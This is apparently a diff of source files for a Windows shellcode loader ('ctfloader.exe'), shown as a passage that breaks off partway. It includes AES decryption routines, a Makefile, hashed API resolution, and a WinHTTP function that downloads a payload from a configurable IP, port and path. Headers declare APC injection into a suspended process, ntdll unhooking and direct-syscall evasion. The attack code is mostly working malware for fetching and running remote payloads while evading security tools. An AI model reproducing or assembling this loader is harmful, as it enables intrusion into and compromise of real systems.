t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[12];
|
||||
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[13];
|
||||
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[14];
|
||||
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[15];
|
||||
// round 4
|
||||
s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[16];
|
||||
s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[17];
|
||||
s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[18];
|
||||
s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[19];
|
||||
// round 5
|
||||
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[20];
|
||||
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[21];
|
||||
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[22];
|
||||
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[23];
|
||||
// round 6
|
||||
s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[24];
|
||||
s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[25];
|
||||
s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[26];
|
||||
s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[27];
|
||||
// round 7
|
||||
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[28];
|
||||
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[29];
|
||||
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[30];
|
||||
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[31];
|
||||
// round 8
|
||||
s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[32];
|
||||
s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[33];
|
||||
s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[34];
|
||||
s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[35];
|
||||
// round 9
|
||||
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[36];
|
||||
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[37];
|
||||
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[38];
|
||||
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[39];
|
||||
// Final round
|
||||
s0 = (Te4[(t0 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t3 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[40];
|
||||
s1 = (Te4[(t1 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t0 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[41];
|
||||
s2 = (Te4[(t2 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t1 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[42];
|
||||
s3 = (Te4[(t3 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t2 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[43];
|
||||
|
||||
// Output the result
|
||||
PUTU32(out_data + 0, s0);
|
||||
PUTU32(out_data + 4, s1);
|
||||
PUTU32(out_data + 8, s2);
|
||||
PUTU32(out_data + 12, s3);
|
||||
|
||||
ctx->iv[0] = s0;
|
||||
ctx->iv[1] = s1;
|
||||
ctx->iv[2] = s2;
|
||||
ctx->iv[3] = s3;
|
||||
}
|
||||
|
||||
static void AES_Decrypt(AES_CTX *ctx, const unsigned char in_data[AES_BLOCK_SIZE], unsigned char out_data[AES_BLOCK_SIZE]) {
|
||||
unsigned int s0, s1, s2, s3, t0, t1, t2, t3, offset;
|
||||
|
||||
unsigned int temp[4];
|
||||
|
||||
s0 = GETU32(in_data + 0) ^ ctx->roundkey[0];
|
||||
s1 = GETU32(in_data + 4) ^ ctx->roundkey[1];
|
||||
s2 = GETU32(in_data + 8) ^ ctx->roundkey[2];
|
||||
s3 = GETU32(in_data + 12) ^ ctx->roundkey[3];
|
||||
|
||||
temp[0] = GETU32(in_data + 0);
|
||||
temp[1] = GETU32(in_data + 4);
|
||||
temp[2] = GETU32(in_data + 8);
|
||||
temp[3] = GETU32(in_data + 12);
|
||||
|
||||
// round 1
|
||||
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[ 4];
|
||||
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[ 5];
|
||||
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[ 6];
|
||||
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[ 7];
|
||||
// round 2
|
||||
s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[ 8];
|
||||
s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[ 9];
|
||||
s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[10];
|
||||
s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[11];
|
||||
// round 3
|
||||
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[12];
|
||||
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[13];
|
||||
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[14];
|
||||
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[15];
|
||||
// round 4
|
||||
s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[16];
|
||||
s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[17];
|
||||
s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[18];
|
||||
s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[19];
|
||||
// round 5
|
||||
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[20];
|
||||
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[21];
|
||||
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[22];
|
||||
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[23];
|
||||
// round 6
|
||||
s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[24];
|
||||
s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[25];
|
||||
s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[26];
|
||||
s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[27];
|
||||
// round 7
|
||||
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[28];
|
||||
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[29];
|
||||
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[30];
|
||||
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[31];
|
||||
// round 8
|
||||
s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[32];
|
||||
s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[33];
|
||||
s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[34];
|
||||
s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[35];
|
||||
// round 9
|
||||
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[36];
|
||||
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[37];
|
||||
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[38];
|
||||
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[39];
|
||||
|
||||
// Final round 10
|
||||
s0 = (Td4[(t0 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t1 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[40];
|
||||
s1 = (Td4[(t1 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t2 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[41];
|
||||
s2 = (Td4[(t2 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t3 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[42];
|
||||
s3 = (Td4[(t3 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t0 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[43];
|
||||
|
||||
// Map the decrypted state to a byte array block
|
||||
PUTU32(out_data + 0, s0 ^ ctx->iv[0]);
|
||||
PUTU32(out_data + 4, s1 ^ ctx->iv[1]);
|
||||
PUTU32(out_data + 8, s2 ^ ctx->iv[2]);
|
||||
PUTU32(out_data + 12, s3 ^ ctx->iv[3]);
|
||||
|
||||
ctx->iv[0] = temp[0];
|
||||
ctx->iv[1] = temp[1];
|
||||
ctx->iv[2] = temp[2];
|
||||
ctx->iv[3] = temp[3];
|
||||
}
|
||||
|
||||
void AES_DecryptBuffer(AES_CTX* ctx, const unsigned char* in_data, unsigned char* out_data, size_t length) {
|
||||
// Ensure the input length is a multiple of AES_BLOCK_SIZE
|
||||
if (length % AES_BLOCK_SIZE != 0) {
|
||||
printf("[-] Error: Input length must be a multiple of %d\n", AES_BLOCK_SIZE);
|
||||
return;
|
||||
}
|
||||
|
||||
// Process each block
|
||||
for (size_t i = 0; i < length; i += AES_BLOCK_SIZE) {
|
||||
AES_Decrypt(ctx, in_data + i, out_data + i);
|
||||
}
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,65 @@
|
||||
###############################################################################
|
||||
# Makefile for Clang (MinGW) on Windows or cross-compiling from Linux
|
||||
# DO NOT MODIFY THIS FILE UNLESS YOU KNOW WHAT YOU ARE DOING
|
||||
###############################################################################
|
||||
|
||||
# If on Windows/MSYS2, you might have "x86_64-w64-mingw32-clang"
|
||||
CLANG := C:\msys64\mingw64\bin\clang
|
||||
|
||||
# Compile flags for C source
|
||||
CFLAGS := -static -O0 -Wall -w
|
||||
|
||||
LDFLAGS := -Wl,--disable-auto-import -s
|
||||
|
||||
# Libraries needed:
|
||||
LIBS := -lwinhttp -lntdll
|
||||
|
||||
# NASM flags
|
||||
ASFLAGS := -f win64 # produce 64-bit COFF objects
|
||||
|
||||
# List all your C source files here:
|
||||
C_SRCS := \
|
||||
api_hashing.c \
|
||||
download.c \
|
||||
inject.c \
|
||||
main.c \
|
||||
unhook.c \
|
||||
whispers.c
|
||||
|
||||
# Corresponding .o object files
|
||||
C_OBJS := $(C_SRCS:.c=.o)
|
||||
|
||||
# Assembly source and its object
|
||||
ASM_SRC := whispers-asm.x64.asm
|
||||
ASM_OBJ := whispers-asm.o
|
||||
|
||||
# Final executable name
|
||||
TARGET := ctfloader.exe
|
||||
|
||||
###############################################################################
|
||||
# Default rule: build the final .exe
|
||||
###############################################################################
|
||||
all: $(TARGET)
|
||||
|
||||
# Link rule: combine all object files into final .exe
|
||||
$(TARGET): $(C_OBJS) $(ASM_OBJ)
|
||||
$(CLANG) $(CFLAGS) -o $@ $^ $(LDFLAGS) $(LIBS)
|
||||
|
||||
###############################################################################
|
||||
# Compile each .c -> .o
|
||||
###############################################################################
|
||||
%.o: %.c
|
||||
$(CLANG) $(CFLAGS) -c $< -o $@
|
||||
|
||||
###############################################################################
|
||||
# Assemble NASM .asm -> .o
|
||||
###############################################################################
|
||||
$(ASM_OBJ): $(ASM_SRC)
|
||||
nasm $(ASFLAGS) $< -o $@
|
||||
|
||||
###############################################################################
|
||||
# Housekeeping
|
||||
###############################################################################
|
||||
.PHONY: clean
|
||||
clean:
|
||||
rm -f *.o *.obj $(TARGET)
|
||||
@@ -0,0 +1,103 @@
|
||||
/*
|
||||
|
||||
Authors: @ MaldevAcademy - https://maldevacademy.com
|
||||
|
||||
*/
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "structs.h"
|
||||
#include "functions.h"
|
||||
|
||||
DWORD HashStringDjb2A(PCHAR String)
|
||||
{
|
||||
ULONG Hash = INITIAL_HASH;
|
||||
INT c;
|
||||
|
||||
while (c = *String++)
|
||||
Hash = ((Hash << INITIAL_SEED) + Hash) + c;
|
||||
|
||||
return Hash;
|
||||
}
|
||||
|
||||
FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) {
|
||||
|
||||
if (hModule == NULL || dwApiNameHash == NULL)
|
||||
return NULL;
|
||||
|
||||
PBYTE pBase = (PBYTE)hModule;
|
||||
|
||||
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
|
||||
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
|
||||
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
|
||||
|
||||
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
|
||||
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
|
||||
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
|
||||
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
|
||||
|
||||
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
|
||||
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
|
||||
PVOID pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
|
||||
|
||||
// Hashing every function name pFunctionName
|
||||
// If both hashes are equal then we found the function we want
|
||||
if (dwApiNameHash == HASHA(pFunctionName)) {
|
||||
return pFunctionAddress;
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
HMODULE GetModuleHandleH(DWORD dwModuleNameHash) {
|
||||
|
||||
if (dwModuleNameHash == NULL)
|
||||
return NULL;
|
||||
|
||||
#ifdef _WIN64
|
||||
PPEB pPeb = (PEB*)(__readgsqword(0x60));
|
||||
#elif _WIN32
|
||||
PPEB pPeb = (PEB*)(__readfsdword(0x30));
|
||||
#endif
|
||||
|
||||
PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr);
|
||||
PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);
|
||||
|
||||
while (pDte) {
|
||||
|
||||
if (pDte->FullDllName.Length != NULL && pDte->FullDllName.Length < MAX_PATH) {
|
||||
|
||||
// converting `FullDllName.Buffer` to upper case string
|
||||
CHAR UpperCaseDllName[MAX_PATH];
|
||||
|
||||
DWORD i = 0;
|
||||
while (pDte->FullDllName.Buffer[i]) {
|
||||
UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName.Buffer[i]);
|
||||
i++;
|
||||
}
|
||||
UpperCaseDllName[i] = '\0';
|
||||
|
||||
// hashing `UpperCaseDllName` and comparing the hash value to that's of the input `dwModuleNameHash`
|
||||
if (HASHA(UpperCaseDllName) == dwModuleNameHash)
|
||||
return pDte->Reserved2[0];
|
||||
|
||||
}
|
||||
else {
|
||||
break;
|
||||
}
|
||||
|
||||
pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,140 @@
|
||||
/*
|
||||
|
||||
Author: @ B0lg0r0v (Arthur Minasyan)
|
||||
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <Windows.h>
|
||||
#include <winhttp.h>
|
||||
|
||||
#include "functions.h"
|
||||
|
||||
#pragma comment(lib, "winhttp.lib")
|
||||
|
||||
#define IP L"#-IP_VALUE-#" // Changable
|
||||
#define PORT #-PORT_VALUE-# // Changable
|
||||
#define PATH L"#-PATH_VALUE-#" // Changable
|
||||
|
||||
|
||||
BOOL GetContent(OUT PBYTE* pPayload,OUT SIZE_T* sSizeOfPayload) {
|
||||
|
||||
LPCWSTR path = PATH;
|
||||
DWORD dwSize = 0,
|
||||
dwTotalSize = 0,
|
||||
dwDownloaded = 0;
|
||||
LPSTR pszOutBuffer = NULL;
|
||||
BOOL bState = FALSE;
|
||||
HINTERNET hSession = NULL,
|
||||
hConnect = NULL,
|
||||
hRequest = NULL;
|
||||
|
||||
// First opening an internet session
|
||||
hSession = WinHttpOpen(
|
||||
L"Mozilla/5.0 (Windows; U; Windows NT 10.3;; en-US) AppleWebKit/536.34 (KHTML, like Gecko) Chrome/47.0.3601.371 Safari/536",
|
||||
WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY,
|
||||
WINHTTP_NO_PROXY_NAME,
|
||||
WINHTTP_NO_PROXY_BYPASS,
|
||||
0
|
||||
);
|
||||
|
||||
// Checking if it was successfull
|
||||
if (hSession == NULL) {
|
||||
|
||||
printf("[-] Internet session could not be initialized.\n");
|
||||
goto _CleanUp;
|
||||
}
|
||||
|
||||
// Defining the target server with the earlier defined session
|
||||
hConnect = WinHttpConnect(hSession, IP, PORT, 0);
|
||||
|
||||
// Checking if its ok
|
||||
if (hConnect == NULL) {
|
||||
|
||||
printf("[-] Could not connect to the target server: %d\n", GetLastError());
|
||||
goto _CleanUp;
|
||||
}
|
||||
|
||||
// Creating the HTTP request
|
||||
hRequest = WinHttpOpenRequest(hConnect, NULL, path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_ESCAPE_DISABLE);
|
||||
|
||||
// Checking again
|
||||
if (hRequest == NULL) {
|
||||
|
||||
printf("[-] Failed to create the request: %d\n", GetLastError());
|
||||
goto _CleanUp;
|
||||
}
|
||||
|
||||
// Firing the request !!
|
||||
if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) {
|
||||
|
||||
printf("[-] Failed to send the request: %d\n", GetLastError());
|
||||
goto _CleanUp;
|
||||
}
|
||||
|
||||
// Wait for the response
|
||||
if (!WinHttpReceiveResponse(hRequest, 0)) {
|
||||
|
||||
printf("[-] Failed to receive the response: %d", GetLastError());
|
||||
goto _CleanUp;
|
||||
}
|
||||
|
||||
do {
|
||||
|
||||
// Checking for available data
|
||||
dwSize = 0;
|
||||
|
||||
if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) {
|
||||
|
||||
printf("[-] Error checking the amount of data: %d", GetLastError());
|
||||
goto _CleanUp;
|
||||
}
|
||||
|
||||
// Allocating the space to gather the data
|
||||
LPSTR tempBuffer = realloc(pszOutBuffer, dwTotalSize + dwSize + 1);
|
||||
|
||||
if (!tempBuffer) {
|
||||
|
||||
printf("[-] Out of memory: %d", GetLastError());
|
||||
goto _CleanUp;
|
||||
|
||||
}
|
||||
else {
|
||||
|
||||
pszOutBuffer = tempBuffer;
|
||||
|
||||
}
|
||||
|
||||
// Reading the data
|
||||
if (!WinHttpReadData(hRequest, (LPVOID)(pszOutBuffer + dwTotalSize), dwSize, &dwDownloaded)) {
|
||||
|
||||
printf("[-] Error reading the data: %d", GetLastError());
|
||||
goto _CleanUp;
|
||||
|
||||
}
|
||||
|
||||
dwTotalSize += dwDownloaded;
|
||||
|
||||
|
||||
} while (dwSize > 0);
|
||||
|
||||
// Saving the content into the "return variables"
|
||||
*pPayload = pszOutBuffer;
|
||||
*sSizeOfPayload = dwTotalSize;
|
||||
pszOutBuffer = NULL;
|
||||
bState = TRUE;
|
||||
|
||||
|
||||
_CleanUp:
|
||||
if (pszOutBuffer)
|
||||
free(pszOutBuffer);
|
||||
if (hRequest)
|
||||
WinHttpCloseHandle(hRequest);
|
||||
if (hConnect)
|
||||
WinHttpCloseHandle(hConnect);
|
||||
if (hSession)
|
||||
WinHttpCloseHandle(hSession);
|
||||
|
||||
return bState;
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
#pragma once
|
||||
#include <stdint.h>
|
||||
|
||||
// API Hashing Part
|
||||
#define HASHA(API) (HashStringDjb2A((PCHAR) API))
|
||||
#define INITIAL_HASH #-INITIAL_HASH_VALUE-#
|
||||
#define INITIAL_SEED #-INITIAL_SEED_VALUE-#
|
||||
|
||||
BOOL GetContent(OUT PBYTE* pPayload, OUT SIZE_T* sSizeOfPayload);
|
||||
BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread);
|
||||
BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress);
|
||||
HMODULE GetModuleHandleH(DWORD dwModuleNameHash);
|
||||
FARPROC GetProcAddressH(HMODULE moduleHandle, DWORD hash);
|
||||
|
||||
BOOL Unhook(LPVOID module);
|
||||
LPVOID MapNtdll();
|
||||
|
||||
typedef BOOL (WINAPI* cCPA)(LPCSTR lpApplicationName,LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags, LPVOID lpEnvironment,LPCSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation);
|
||||
typedef BOOL (WINAPI* cDAPS)(DWORD dwProcessId);
|
||||
@@ -0,0 +1,100 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <Tlhelp32.h>
|
||||
|
||||
#include "functions.h"
|
||||
#include "whispers.h"
|
||||
|
||||
BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) {
|
||||
|
